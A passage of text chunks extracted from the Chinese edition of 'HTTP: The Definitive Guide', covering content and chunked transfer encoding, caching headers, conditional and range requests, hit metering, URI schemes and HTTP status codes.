earth. --[abcdefghijklmnopqrstuvwxyz]-- 本章后面将详细讨论范围请求。"},
    {"text": "（1） 网站服务器生成原始响应报文，其中有原始的 Content-Type 和 Content- Length 首部。 （2） 内容编码服务器（也可能就是原始的服务器或下行的代理）创建编码后的报文。"},
    {"text": "原始内容 内容编码之后的内容 原始内容 Content-type: text/html Content-type: text/html Content-type: text/html Content-length: 12480 Content-length: 3907 Content-length: 12480 Content-encoding: gzip 01001011 11000101 gzip内容解码器 gzip内容编码器 图 15-3 内容编码示例 在这个例子中，通过 gzip 内容编码函数对 HTML 页面处理之后，得到一个更小的、 压缩的主体。"},
    {"text": "下面给出的响应片段是另一个编码响应的例子（一个压缩的图像）： HTTP/1.1 200 OK Date: Fri, 05 Nov 1999 22:35:15 GMT Server: Apache/1.2.4 Content-Length: 6096 Content-Type: image/gif Content-Encoding: gzip [...] 注意，Content-Type 首部可以且还应当出现在报文中。"},
    {"text": "由互联网号码分配机构（IANA）对各种编码进行标准化，它给每个内容编码算法分 配了唯一的代号。 Content-Encoding 首部就用这些标准化的代号来说明编码时使 用的算法。"},
    {"text": "352 表15-2 内容编码代号 Content-Encoding 值 描 述 gzip 表明实体采用 GNU zip 编码 a compress 表明实体采用 Unix 的文件压缩程序 deflate 表明实体是用 zlib 的格式压缩的 b identity 表明没有对实体进行编码。"},
    {"text": "15.5.3 Accept-Encoding 首部 毫无疑问，我们不希望服务器用客户端无法解码的方式来对内容进行编码。 为了 避免服务器使用客户端不支持的编码方式，客户端就把自己支持的内容编码方式 实体和编码 ｜ 369 列 表 放 在 请 求 的 Accept-Encoding 首部里发出去。 如果 HTTP 请求中没有包含 Accept-Encoding 首部，服务器就可以假设客户端能够接受任何编码方式（等价 于发送 Accept-Encoding: *）。"},
    {"text": "请求报文 GET /logo.gif HTTP/1.1 Accept-encoding: gzip [...] HTTP/1.1 200 OK Content-type: image/gif Content-encoding: gzip [...] gunzip gzip 响应报文 ...011010011... ...011010011... 服务器使用gzip对图像进行压缩，以便在它和客户端 之间的狭窄网络连接上传送一个较小的文件。"},
    {"text": "353 图 15-4 展示了 HTTP 事务中的 Accept-Encoding 首部 Accept-Encoding 字段包含用逗号分隔的支持编码的列表，下面是一些例子： Accept-Encoding: compress, gzip Accept-Encoding: Accept-Encoding: * Accept-Encoding: compress;q=0.5, gzip;q=1.0 Accept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0 客户端可以给每种编码附带 Q（质量）值参数来说明编码的优先级。"},
    {"text": "经过内容编码的响应 HTTP/1.0 200 OK 标准的首部块 Content-encoding: gzip Content-type: text/html [...] 标准的实体（只 [encoded message] 是经过了编码） 经过内容编码的报文，只是对报文的实 体部分进行了编码。"},
    {"text": "HTTP/1.1 200 OK 基本的首部 Transfer-encoding: chunked 10 abcdefghijk 经过编码的块 1a 图 15-5 内容编码和传输编码的对比 15.6.1 可靠传输 长久以来，在其他一些协议中会用传输编码来保证报文经过网络时能得到“可靠传 输”。"},
    {"text": "因为 HTTP 协议 354 要求 Content-Length 首部必须在数据之前，有些服务器就使用传输编码来发 实体和编码 ｜ 371 送数据，并用特别的结束脚注表明数据结束。"},
    {"text": "8 下面的例子中，请求使用了 TE 首部来告诉服务器它可以接受分块编码（如果是 HTTP/1.1 应用程序的话，这就是必须的）并且愿意接受附在分块编码的报文结尾上 的拖挂： GET /new_products.html HTTP/1.1 Host: www.joes-hardware.com User-Agent: Mozilla/4.61 [en] (WinNT; I) TE: trailers, chunked ... 对它的响应中包含 Transfer-Encoding 首部，用于告诉接收方已经用分块编码对 报文进行了传输编码： HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Apache/3.0 ... 在这个起始首部之后，报文的结构就将发生改变。"},
    {"text": "如果真的如此，那分块编码 仍应始终作用在其他传输编码之上，这样就保证数据可以像隧道那样“穿透”那些 只理解分块编码但不理解其他传输编码的 HTTP/1.1 应用程序。"},
    {"text": "1. 分块与持久连接 若客户端和服务器之间不是持久连接，客户端就不需要知道它正在读取的主体的长 度，而只需要读到服务器关闭主体连接为止。"},
    {"text": "因为主体是动态创建的，服务器可以缓冲它的一部分，发送其大 小和相应的块，然后在主体发送完之前重复这个过程。 服务器可以用大小为 0 的块 作为主体结束的信号，这样就可以继续保持连接，为下一个响应做准备。"},
    {"text": "因为客户端事先不知道服务器是否接受分 块编码（这是因为服务器不会在给客户端的响应中发送 TE 首部），所以客户端必须 做好服务器用 411 Length Required（需要 Content-Length 首部）响应来拒绝分块 请求的准备。"},
    {"text": "实体和编码 ｜ 373 HTTP/1.1 200 OK<CR><LF> 响应流 Content-type: text/plain<CR><LF> Transfer-encoding: chunked<CR><LF> HTTP响应 Trailer: Content-MD5<CR><LF> <CR><LF> 十六进制表示的分块大小（十六进制的27 39个字符） 第1块 27<CR><LF> We hold these truths to be self-evident<CR><LF> 第2块 26<CR><LF> , that all men are created equal, that<CR><LF> 84<CR><LF> 第3块 they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness.<CR><LF> 0<CR><LF> 最后一块 Content-MD5:gjqei54p26tjisgj3p4utjgrj53<CR><LF> 拖挂* *可选——仅当报文首部中有Trailer首部时才出现 357 图 15-6 剖析分块编码报文 2. 分块报文的拖挂 如果客户端的 TE 首部中说明它可以接受拖挂的话，就可以在分块的报文最后加上拖 挂。"},
    {"text": "除了 Transfer-Encoding、Trailer 以及 Content-Length 首部之外，其他 HTTP 首部都可以作为拖挂发送。 注 9： trailer（拖挂）首部是在最初的分块编码被加入到 HTTP/1.1 规范的草案之后才加入的，因此有些 应用程序可能不理解这个首部（或者不理解拖挂） ，尽管它们声称是兼容 HTTP/1.1 的。"},
    {"text": "Content-type: text/html 内容编码 Content-type: text/html 9BF2578E 9BF2578E Content-encoding: gzip A42670CD A42670CD 传输编码（分块） 426 9BF Content-type: text/html 8EA 257 Content-encoding: gzip Transfer-encoding: chunked 257 8EA 9BF 426 图 15-7 内容编码和传输编码结合 15.6.5 传输编码的规则 对报文主体使用传输编码时，必须遵守以下规则。"},
    {"text": "V1 V1 V2 V2 V4 (a) (b) (c) (d) (e) 时间 2月17日下 3月3日上午 4月2日上 4月12日下 午4点30分 11点21分 午9点07分 午1点48分 版本1 版本2 版本3 版本4 www.cnn.com 图 15-8 实例是资源在某个时间的“快照” HTTP 协议规定了称为实例操控（instance manipulations）的一系列请求和响应操 作，用以操控对象的实例。"},
    {"text": "这种特殊的请求，称为有条件的请求（conditional request）， 要求客户端使用验证码 （validator）来告知服务器它当前拥有的版本号，并仅当它的当前副本不再有效时才 要求发送新的副本。"},
    {"text": "表15-3 Cache-Control 首部的指令 指 令 报文类型 描 述 no-cache 请求 在重新向服务器验证之前，不要返回文档的缓存副本 no-store 请求 不要返回文档的缓存副本。"},
    {"text": "不要保存服务器的响应 max-age 请求 缓存中的文档不能超过指定的使用期 max-stale 请求 文档允许过期（根据服务器提供的过期信息计算），但不能超过 指令中指定的过期值 min-fresh 请求 文档的使用期不能小于这个指定的时间与它的当前存活时间之 和。"},
    {"text": "换句话说，响应必须至少在指定的这段时间之内保持新鲜 no-transform 请求 文档在发送之前不允许被转换 only-if-cached 请求 只有当文档在缓存中才发送，不要联系原始服务器 public 响应 响应可以被任何服务器缓存 private 响应 响应可以被缓存，但只能被单个客户端访问 no-cache 响应 如果该指令伴随一个首部列表的话，那么内容可以被缓存并提 供给客户端，但必须先删除所列出的首部。 如果没有指定首部， 缓存中的副本在没有重新向服务器验证之前不能提供给客户端 no-store 响应 响应不允许被缓存 no-transform 响应 响应在提供给客户端之前不能做任何形式的修改 实体和编码 ｜ 377 （续） 指 令 报文类型 描 述 must-revalidate 响应 响应在提供给客户端之前必须重新向服务器验证 proxy-revalidate 响应 共享的缓存在提供给客户端之前必须重新向原始服务器验证。"},
    {"text": "私有的缓存可以忽略这条指令 max-age 响应 指定文档可以被缓存的时间以及新鲜度的最长时间 s-max-age 响应 指定文档作为共享缓存时的最长使用时间（如果有 max-age 指 令的话，以本指令为准）。"},
    {"text": "如果服务器上的文档和已过期的缓存副本相同，而缓存服务器还是要从原始服务器 上取文档的话，那缓存服务器就是在浪费网络带宽，给缓存服务器和原始服务器增 加不必要的负载，使所有事情都变慢了。"},
    {"text": "为了避免这种情况，HTTP 为客户端提供了一种方法，仅当资源改变时才请求副本， 这种特殊请求称为有条件的请求。 有条件的请求是标准的 HTTP 请求报文，但仅当 某个特定条件为真时才执行。"},
    {"text": "例如，某个缓存服务器可能发送下面的有条件 GET 报 文给服务器，仅当文件 /announce.html 从 2002 年 6 月 29 日（这是缓存的文档最后 被作者修改的时间）之后发生改变的情况下才发送它： GET /announce.html HTTP/1.0 If-Modified-Since: Sat, 29 Jun 2002, 14:30:00 GMT 有条件的请求是通过以“If-”开头的有条件的首部来实现的。"},
    {"text": "验证码是文档实例的一个特殊 属性，用它来测试条件是否为真。 从概念上说，你可以把验证码看作文件的序列号、 版本号，或者最后发生改变的日期时间。"},
    {"text": "表15-4 有条件的请求类型 请求类型 验 证 码 描 述 If-Modified-Since Last-Modified 如果在前一条响应的 Last-Modified 首部中说明的 时间之后，资源的版本发生变化，就发送其副本 If-Unmodified-Since Last-Modified 仅在前一条响应的 Last-Modified 首部中说明的时 间之后，资源的版本没有变化，才发送其副本 If-Match ETag 如果实体的标记与前一次响应首部中的 ETag 相同， 就发送该资源的副本 If-None-Match ETag 如果实体的标记与前一次响应首部中的 ETag 不同， 就发送该资源的副本 362 HTTP 把验证码分为两类：弱验证码（weak validators）和强验证码（strong validators）。"},
    {"text": "服务器仅当文档 的内容从版本 4.0 算起发生了显著变化时，才返回主体： GET /announce.html HTTP/1.1 If-None-Match: W/\"v4.0\" 概括一下，当客户端多次访问同一个资源时，首先需要判断它当前的副本是不是仍 然新鲜。"},
    {"text": "例如： GET /bigfile.html HTTP/1.1 Host: www.joes-hardware.com Range: bytes=4000- User-Agent: Mozilla/4.61 [en] (WinNT; I) ... 在本例中，客户端请求的是文档开头 4000 字节之后的部分（不必给出结尾字节数， 因为请求方可能不知道文档的大小）。"},
    {"text": "对 于客户端在一个请求内请求多个不同范围的情况，返回的响应也是单个实体，它有 380 ｜ 第 15 章 一个多部分主体及 Content-Type: multipart/byteranges 首部。"},
    {"text": "并不是所有服务器都接受范围请求，但很多服务器可以。 服务器可以通过在响应中 包含 Accept-Ranges 首部的形式向客户端说明可以接受的范围请求。"},
    {"text": "10 例如： HTTP/1.1 200 OK Date: Fri, 05 Nov 1999 22:35:15 GMT Server: Apache/1.2.4 Accept-Ranges: bytes ... 图 15-9 展示了涉及范围请求的一系列 HTTP 事务的例子。"},
    {"text": "请求报文 GET /bigfile.html HTTP/1.1 客户端 [...] 响应报文 HTTP/1.1 200 0k Content-type: text/html Content-length: 65537 www.joes-hardware.com Accept-ranges: bytes 110001 [...] 111011 010111 范围请求报文 000101 GET /bigfile.html HTTP.1.1 客户端只收 Range: bytes=20224- 到响应的开头 [...] 20 224字节 客户端的原始请求中 范围响应报文 断了，但第2次请求 HTTP/1.1 206 partial 是要求原来的响应报 Content-Range: bytes=20224- 文中没有收到的部分， Accept-ranges: bytes www.joes-hardware.com 这样客户端就能够从 [...] 中断点继续接收报文了。"},
    {"text": "图 15-9 实体范围请求示例 Range 首部在流行的点对点（Peer-to-Peer，P2P）文件共享客户端软件中得到广泛 应用，它们从不同的对等实体同时下载多媒体文件的不同部分。"},
    {"text": "如果客户端有一个页面的已过 期副本，就要请求页面的最新实例。 如果服务器有该页面更新的实例，就要把它发 给客户端，哪怕页面上只有一小部分发生了改变，也要把完整的新页面实例发给客 户端。 若改变的地方比较少，与其发送完整的新页面给客户端，客户端更愿意服务器只发 送页面发生改变的部分，这样就可以更快地得到最新的页面。"},
    {"text": "差异编码是 HTTP 协 议的一个扩展，它通过交换对象改变的部分而不是完整的对象来优化传输性能。 差 异编码也是一类实例操控，因为它依赖客户端和服务器之间针对特定的对象实例来 交换信息。"},
    {"text": "客户端必须告诉服务器它有页面的哪个版本，它愿意接受页面最新版的差异 （delta），它懂得哪些将差异应用于现有版本的算法。 服务器必须检查它是否有这个 365 页面的客户端现有版本，计算客户端现有版本与最新版之间的差异（有若干算法可 以计算两个对象之间的差异）。 然后服务器必须计算差异，发送给客户端，告知客户 端所发送的是差异，并说明最新版页面的新标识（ETag），因为客户端将差异应用 于其老版本之后就会得到这个版本。"},
    {"text": "服务端发送回下面这些内 容：一个特殊的响应代码——226 IM Used，告知客户端它正在发送的是所请求对象 382 ｜ 第 15 章 的实例操控，而不是那个完整的对象自身；"},
    {"text": "请求报文 GET /bigfile.html HTTP/1.1 客户端 Date: Mon, 01 Feb 2001 12:03:00 GMT 2001年2月1日星期一 下午12时03分的页面 客户端收到这个响应并把 它缓存起来。"},
    {"text": "第二天，客 Hello,welcome to 响应报文 Joe’s Hardware store. 户端又要访问这个页面， Today’s special is on 它发现自己的缓存副本已 HTTP/1.1 200 OK hammers. 服务器 经过期，于是就向服务器 Content-type: text/html 请求最新的副本。"},
    {"text": "HTTP权威指南 理得知缓存中的资源过期了，并收到一个新的副本 TCP_CLIENT_REFRESH_ 请求端发送了一个 Pragma: no-cache，或类似的 Cache-Control 指 MISS 令，命令代理必须去获取资源 TCP_IMS_HIT 请求端发布了一个条件请求，对资源的已缓存副本进行验证 TCP_SWAPFAIL_MISS 代理认为资源位于缓存中，但出于某些原因无法访问该资源 TCP_NEGATIVE_HIT 返回已缓存的响应，但响应是否定的已缓存响应。"},
    {"text": "这样，如果有多条对某无效 资源的请求都经过这个代理缓存，就可以由这个代理缓存提供错误信息 TCP_MEM_HIT 资源的有效副本是由缓存提供的，资源位于代理缓存的内存中（与必须访 问磁盘才能获取已缓存资源的方式相反） TCP_DENIED 对此资源的请求被否决了，可能是请求端没有请求此资源的权利 TCP_OFFLINE_HIT 所请求的资源是在离线状态下从缓存中解析出来的。"},
    {"text": "HTTP 通常会使用 491 TCP 传输协议，因此这些请求使用的都不是 HTTP 协议 a UDP_HIT 资源的有效副本是由缓存提供的 UDP_MISS 资源不在缓存中 UDP_DENIED 对此资源的请求被否决了，可能是由于请求端没有请求此资源的权限 UDP_INVALID 代理收到的请求是无效的 UDP_MISS_NOFETCH Squid 在特定的操作模式下，或在缓存常见错误的缓存中使用。 会返回缓存 未命中，而且也没有获得资源 NONE 有时与错误信息一起记录 TCP_CLIENT_REFRESH 参见 TCP_CLIENT_REFRESH_MISS TCP_SWAPFAIL 参见 TCP_SWAPFAIL_MISS UDP_RELOADING 参见 UDP_MISS_NOFETCH a： Squid 有自己的用于发起这些请求的协议：ICP。"},
    {"text": "但是，缓存服务器位于客户端和服务器之间，用于防止服务器同时处理大量访问请 求 3（这正是缓存的目的）。 缓存要处理很多 HTTP 请求，并在不访问原始服务器的 情况下满足它们的请求，服务器中没有客户端访问其内容的记录，导致日志文件中 出现遗漏。"},
    {"text": "不使用缓存可能会生成更好的日志，但会减缓原始服务器和网络的请求速度，并增 加其负荷。 由于代理缓存（及一些客户端）都会保留自己的日志，所以如果服务器能够访问这 些日志（或者至少有一种粗略的方式可以判断代理缓存会以怎样的频率提供其内 容），就可以避免使用缓存清除。"},
    {"text": "21.3.1 概述 命中率测量协议定义了一种 HTTP 扩展，它提供了一些基本的功能，缓存和服务器 可以实现这些功能来共享访问信息，规范已缓存资源的可使用次数。"},
    {"text": "日志记录与使用情况跟踪 ｜ 515 21.3.2 Meter 首部 命中率测量扩展建议使用新增加的首部 Meter，缓存和服务器可以通过它在相互间 传输与用法和报告有关的指令，这与用来进行缓存指令交换的 Cache-Control 首 部很类似。"},
    {"text": "表21-10 命中率测量指令 指 令 缩 写 执 行 者 描 述 will-report-and-limit w 缓存 缓存可以报告使用情况并遵循服务器指定的所有使 用限制 wont-report x 缓存 缓存可以遵循使用限制，但不报告使用情况 wont-limit y 缓存 缓存可以报告使用情况但不会限制使用 count c 缓存 报告指令，以 uses/reuses 整数的形式说明。"},
    {"text": "比 如：count=2/4 a max-uses u 服务器 允许服务器指定某响应可被缓存使用的最大次数。 比如：max-uses=100 max-reuses r 服务器 允许服务器指定某响应可被缓存重用的最大次数。"},
    {"text": "比如：max-reuses=100 do-report d 服务器 服务器要求代理发送使用报告 dont-report e 服务器 服务器不要求使用汇报 timeout t 服务器 允许服务器指定对某资源进行计量的超时时间。"},
    {"text": "比如：timeout=60 493 wont-ask n 服务器 服务器不需要任何计量信息 a：命中率测量定义了一个 use，用一个响应来满足请求，还定义了一个 reuse，对客户端请求进行再验证。"},
    {"text": "这里，代理正在通知服务器它可以进行命中率测量，作为回应， 服务器则请求代理报告它的命中次数。 从客户端的角度来看，请求正常结束了，代理开始代表服务器跟踪该请求资源的命 中次数。 稍后，代理会尝试与服务器再次验证资源。 代理会在发送给服务器的条件 请求中嵌入它跟踪记录的计量信息。"},
    {"text": "516 ｜ 第 21 章 请求报文 GET http://joes-hardware.com/ HTTP/1.1 GET / HTTP/1.1 Host: www.joes-hardware.com Host: www.joes-hardware.com Accept: * Meter: will-report-and-limit 客户端 Connection: Meter 代理 www.joes-hardware.com 响应报文 HTTP/1.1 200 OK 代理 Date: Fri, 06 Dec 1996 18:44:29 GMT 将响应发送给客户端，缓存 Content-length: 3152 Content-type: text/html 起来，然后用于后继的请求 客户端 Connection: Meter HTTP/1.1 200 OK ETag: \"v1.27\" Date: Fri, 06 Dec 1996 18:44:29 GMT Meter: do-report Content-length: 3152 Content-type: text/html [...] [...] 稍后，缓存对响应进行再 代理 验证，同时报告命中次数 GET / HTTP/1.1 Host: www.joes-hardware.com Meter: 12/4 If-None-Match: \"v1.27\" Connection: Meter www.joes-hardware.com HTTP/1.1 304 Not Modified [...] 图 21-1 命中率测量示例 494 21.4 关于隐私的考虑 日志记录实际上就是服务器和代理执行的一项管理功能，所以整个操作对用户来说 都是透明的。"},
    {"text": "日志记录与使用情况跟踪 ｜ 517 有些情况下，比如在工作环境中，跟踪某用户的使用情况以确保他没有偷懒是可行 的，但管理员也应该将监视大家事务处理的事情公之于众。"},
    {"text": "• http://www.w3.org/Daemon/User/Config/Logging.html#common-logfile-format “Logging Control in W3C httpd”（“W3C httpd 中的日志记录控制”）。 • http://www.w3.org/TR/WD-logfile.html “Extended Log File Format”（“扩展日志文件格式”）。"},
    {"text": "• http://www.ietf.org/rfc/rfc2227.txt RFC 2227，J. Mogul 和 P. Leach 编 写 的“Simple Hit-Metering and Usage-495 Limiting for HTTP”（“简单的 HTTP 命中率测量和使用限制”）。"},
    {"text": "• 附录 A URI 方案 • 附录 B HTTP 状态码 • 附录 C HTTP 首部参考 • 附录 D MIME 类型 • 附录 E Base-64 编码 • 附录 F 摘要认证 • 附录 G 语言标记 ~496 • 附录 H MIME 字符集注册表 498 附录A URI 方案 521 已定义的 URI 方案有很多，但常用的并不多。"},
    {"text": "一般来说，有相关的 RFC 对其解释 说明的 URI 方案更常用一些，但确实也有少数由主导软件公司（特别是 Netscape 和 Microsoft）开发，但未被正式发布的方案得到了广泛应用。"},
    {"text": "W3C 维护了一个 URI 方案列表，可以通过以下地址访问： http://www.w3.org/Addressing/schemes.html IANA 也维护了一个 URL 方案的列表，网址是： http://www.iana.org/assignments/uri-schemes 表 A-1 介绍了部分已经提出的和正在使用的方案。"},
    {"text": "比如说，使用 about 自身 的效果就跟选择 Navigator 的 Help 菜单中的 About Communicator 一样，about:cache 显示的就是磁盘缓存的统计数据，about:plugins 显示的是与已配置的插件有关的信息。"},
    {"text": "其他浏览器，比如微软的 Internet Explorer，也使用了这个方案 acap 应用程序配置访问协议 2244 afp 用于使用 AFP（Apple Filing Protocol，苹果文件协议）提供的文 件共享服务，是作为已过期的 IETF draft-ietf-svrloc-afp-service-01. txt 的一部分定义的 afs 保留，以备 Andrew 文件系统将来使用 callto 初 始 化 微 软 的 NetMeeting 会 议 的 会 话， 比 如：callto:ws3.joes- hardware.com/joe@joes-hardware.com chttp Real 网 络 公 司 定 义 的 CHTTP 缓 存 协 议。"},
    {"text": "如果没有此文件，就通过 HTTP 请求此文件，并将其 499 存储在自己的缓存中 cid 在 电 子 邮 件 中 通 过 [MIME] 传 送 Web 页 面 及 其 相 关 图 片 时， 需 2392 要 一 个 URL 方 案 允 许 HTML 引 用 报 文 中 所 含 图 片 或 其 他 数 据 2111 Content-ID URL，即 cid，就用于这个目的 clsid 允许引用微软的 OLE/COM 类。"},
    {"text": "这 2397 个 URL 会 将 text/plain 字 符 串 A brief note 编 码 为：data:A%20 brief%20note date 支持日期的方案建议，比如 date:1999-03-04T20:42:08 dav 为了确保基于此规范的互操作的正确性，IANA 必须保留以 DAV: 2518 和 opaquelocktoken: 开头的 URI 名字空间，供这个规范和它的修 订版本以及相关的 WebDAV 规范使用 dns 供 REBOL 软件使用。"},
    {"text": "参见 http://www.rebol.com/users/valurl.html eid 外部 ID 方案提供了一种机制，本地应用程序可以通过这种机制引 用通过其他非 URL 方案获取的数据。"},
    {"text": "参见 http://www.ics.uci.edu/ pub/ietf/uri/draft-finseth-url-00.txt fax 方案 fax 描述了一条连接，此连接连至可处理电传的终端（传真机） 2806 file 在特定主机上标识出可访问的文件。"},
    {"text": "参见 http://www.ics. uci.edu/pub/ietf/uri/draft-ietf-uri-url-finger-03.txt freenet 获 取 中 迅 互 联 分 布 式 信 息 系 统 中 信 息 所 用 的 URI。"},
    {"text": "参见 http://www.ics.uci.edu/pub/ietf/uri/draft-cordell-sg16-conv-url-00.txt hdl Handle 是个被广泛应用的系统，用于分配、管理数字对象和因特 网上的其他资源，并将其解析成名为 handles 的永久标识符。"},
    {"text": "比如，以下 iioploc 标识符： iioploc://www.omg.org/NameService 就表示运行在 IP 地址与域名 www.omg.org 相对应的机器上的 CORBA 名字服务。"},
    {"text": "参见 ftp://parcftp.parc.xerox.com/pub/ilu/ilu.html imap IMAP URL 方案用于分配 IMAP 服务器、邮箱、报文、MIME 主 2192 体 [MIME]，在因特网主机上搜索可以通过 IMAP 协议访问的程序 IOR CORBA 的互操作对象引用。"},
    {"text": "请参见 http://www.omg.org irc irc URL 方案用于表示 IRC（Internet Relay Chat，因特网中继聊 天）服务器或者 IRC 服务器上的独立实体（信道或人）。"},
    {"text": "参见 http://lists.w3.org/Archives/Public/www-talk/1991NovDec/0008. html java 用来识别 Java 类 javascript 网景的浏览器会处理 javascript URL，如果冒号（ ：）后面有表达 式，则计算它的值，只要表达式字符串的值不是未定义的，就会 加载包含了这个值的页面 jdbc 用于 Java SQL API ldap 允许因特网客户端直接访问 LDAP 协议 2255 lid 本地标识符方案。"},
    {"text": "参见 draft-blackketter-lid-00 lifn UTK 开发的批量文件分发分布式存储系统所使用的 lifn（location- independent file name，位置无关文件名） livescript JavaScript 的曾用名 524 ｜ 附录 A （续） 方 案 描 述 RFC lrq 参见 h323 mailto URL 方案 mailto 用于访问单个用户或服务的因特网邮件地址 2368 mailserver 1994 ～ 1995 年的老建议，支持将整条报文都编码到一个 URL 中 去，这样（比如说）URL 可以自动向邮件服务器发送订阅邮件列 表的电子邮件了 501 md5 MD5 是一种密码校验和 mid mid 方案用电子邮件报文的 message-id（一部分）来引用一个特定 2392 的报文 2111 mocha 参见 javascript modem modem 方案描述了一条连接，连接到能够处理输入数据呼叫的终 2806 端上去 m m s 、 m m s t 、 MMS（Microsoft Media Server，微软媒体服务器）以流方式传送 mmsu ASF（Active Streaming Format，活动流格式）文件时使用的方案。"},
    {"text": "1738 news URL 使用下列两种格式之一： 1036 news:<newsgroup-name> 或 news:<message-id> nfs 指的是 NFS 服务器上的文件和目录 2224 nntp 另一种引用 news 文章的方法，指定 NNTP 服务器上的 news 文章 1738 时很有用。 nntp URL 看起来如下所示： 977 nntp://< host >:< port >/< newsgroup-name >/< article-num > 注意，尽管 nntp URL 为文章资源指定了唯一的位置信息，但现在 因特网上大部分 NNTP 服务器都配置为只允许从本地客户端访问， nntp URL 因此就无法指定全球可访问的资源了。"},
    {"text": "在 RFC 2806 中被 tel: 取代 pop POP URL 指定了一个 POP 电子邮件服务器，一个可选的端口号、 2384 认证机制、认证 ID 和 / 或授权 ID URI方案 ｜ 525 （续） 方 案 描 述 RFC pnm Real 网络公司的流媒体协议 pop3 POP3 URL 方案允许 URL 指定一个 POP3 服务器，允许其他协议 使用通用的“用于邮件访问的 URL”取代对 POP3 的显式引用。"},
    {"text": "参见 draft-ietf-srvloc-printer-scheme-02.txt prospero 通过 prospero 目录服务访问的名字资源 1738 res 微软的方案，指定了一个要从某模块中获取的资源。"},
    {"text": "包含一个字 符串或数字资源类型和一个字符串或数字 ID rtsp 实时流协议，是 Real 网络公司现代流媒体控制协议的基础协议 2326 rvp RVP 集合点协议的 URL，用于在某计算机网络上发布用户到来的 502 通知。"},
    {"text": "这些 URL 为基于 2609 客户端的网络软件提供了一种可扩展的框架，以获取使用网络服 务所需的配置信息 sip sip* 族方案用于建立使用 sip（session initiation protocol，会话发 2543 起协议）的多媒体会议 shttp S-HTTP 是 HTTP 的超集，用于保护 HTTP 连接，它提供了大量 机制用以实现保密性、认证功能和完整性。"},
    {"text": "参见 http://Web3.w3.org/Addressing/#STANF t120 参见 h323 tel 通过电话网打电话的 URL 2806 telephone 用于 tel 的早期草案中 526 ｜ 附录 A （续） 方 案 描 述 RFC telnet 指定了可能会被 Telnet 协议访问的交互式业务。"},
    {"text": "Telent URL 的格 1738 式如下所示： telnet ://< user >:< password >@< host >:< port >/ tip 支持 TIP 原子化的因特网事务处理 2371 2372 tn3270 根据 ftp://ftp.isi.edu/in-notes/iana/assignments/url-schemes 保留 tv TV URL 命名了一个特定的电视广播信道 2838 uuid UUID（ 通 用 唯 一 标 识 符 ） 不 包 含 与 位 置 有 关 的 信 息。"},
    {"text": "参见 draft-kindel-uuid-uri-00.txt urn 持久的、与位置无关的 URN 2141 vemmi 允许 VEMMI（万用多媒体接口）客户端软件和 VEMMI 终端连接 2122 VEMMI 兼容的服务。"},
    {"text": "1835 参见 http://martinh.net/wip/whois-url.txt whodp WhoDP（Widely Hosted Object Data Protocol，广泛托管对象数据 协议）用于沟通大量动态、可重定位对象的当前位置和状态传递。 WhoDP 程序通过“订阅”定位对象，接收与某对象有关的信息， 并“发布”这些信息，控制此对象的位置和可见状态 z39.50r，z39.50s Z39.50 会话与检索 URL。"},
    {"text": "它将通用的 用户查询设计为面向会话的多步任务，服务器在继续处理任务之 前，会向客户端请求额外的参数，因此每一步任务都可能被临时 挂起 504 URI方案 ｜ 527 附录B HTTP 状态码 529 附录Ｂ是 HTTP 状态码及其含义的快速参考。"},
    {"text": "B.1 状态码分类 HTTP 状态码分为 5 类，如表 B-1 所示。 表B-1 状态码分类 总体范围 已定义范围 类 别 100~199 100~101 信息 200~299 200~206 成功 300~399 300~305 重定向 400~499 400~415 客户端错误 500~599 500~505 服务器错误 B.2 状态码 表 B-2 是 HTTP/1.1 规范定义的所有状态码的快速参考，表中概述了每种状态码及 其含义。"},
    {"text": "表B-2 状态码 状态码 原因短语 含 义 100 Continue（继续） 收到了请求的起始部分，客户端应该继续请求 101 Switching Protocols（切换协议） 服务器正根据客户端的指示将协议切换成 Update 首部列出的协议 200 OK 服务器已成功处理请求 201 Created（已创建） 对那些要服务器创建对象的请求来说，资源已创建 505 完毕 202 Accepted（已接受） 请求已接受，但服务器尚未处理 203 Non-Authoritative Information（非权 服务器已将事务成功处理，只是实体首部包含的信 威信息） 息不是来自原始服务器，而是来自资源的副本 204 No Content（没有内容） 响应报文包含一些首部和一个状态行，但不包含实 体的主体内容 205 Reset Content（重置内容） 另一个主要用于浏览器的代码。 意思是浏览器应该 重置当前页面上所有的 HTML 表单 206 Partial Content（部分内容） 部分请求成功 530 ｜ 附录 B （续） 状态码 原因短语 含 义 300 Multiple Choices（多项选择） 客户端请求了实际指向多个资源的 URL。"},
    {"text": "这个代码 是和一个选项列表一起返回的，然后用户就可以选 择他希望使用的选项了 301 Moved Permanently（永久搬离） 请求的 URL 已移走。 响应中应该包含一个 Location URL，说明资源现在所处的位置 302 Found（已找到） 与状态码 301 类似，但这里的搬离是临时的。 客户 端 应 该 用 Location 首部给出的 URL 对资源进行 临时定位 303 See Other（参见其他） 告诉客户端应该用另一个 URL 获取资源。 这个新的 URL 位于响应报文的 Location 首部 304 Not Modified（未修改） 客户端可以通过它们所包含的请求首部发起条件请 求。 这个代码说明资源未发生过变化 305 Use Proxy（使用代理） 必须通过代理访问资源，代理的位置是在 Location 首部中给出的 306 （未用） 这个状态码当前并未使用 307 Temporary Redirect（临时重定向） 和状态码 301 类似。 但客户端应该用 Location 首部 给出的 URL 对资源进行临时定位 400 Bad request（坏请求） 告诉客户端它发送了一条异常请求 401 Unauthorized（未授权） 与适当的首部一起返回，在客户端获得资源访问权 之前，请它进行身份认证 402 Payment Required（要求付款） 当前此状态码并未使用，是为未来使用预留的 403 Forbidden（禁止） 服务器拒绝了请求 404 Not Found（未找到） 服务器无法找到所请求的 URL 405 Method Not Allowed（不允许使用的 请求中有一个所请求的 URI 不支持的方法。 响应中 方法） 应该包含一个 Allow 首部，以告知客户端所请求的 资源支持使用哪些方法 406 Not Acceptable（无法接受） 客户端可以指定一些参数来说明希望接受哪些类型 的实体。 服务器没有资源与客户端可接受的 URL 相 匹配时可使用此代码 407 Proxy Authentication Required（ 要 和状态码 401 类似，但用于需要进行资源认证的代 求进行代理认证） 理服务器 506 408 Request Timeout（请求超时） 如果客户端完成其请求时花费的时间太长，服务器 可以回送这个状态码并关闭连接 409 Conflict（冲突） 发出的请求在资源上造成了一些冲突 HTTP状态码 ｜ 531 （续） 状态码 原因短语 含 义 410 Gone（消失了） 除了服务器曾持有这些资源之外，与状态码 404 类似 411 Length Required（要求长度指示） 服 务 器 要 求 在 请 求 报 文 中 包 含 Content-Length 首 部 时 会 使 用 这 个 代 码。 发 起 的 请 求 中 若 没 有 Content-Length 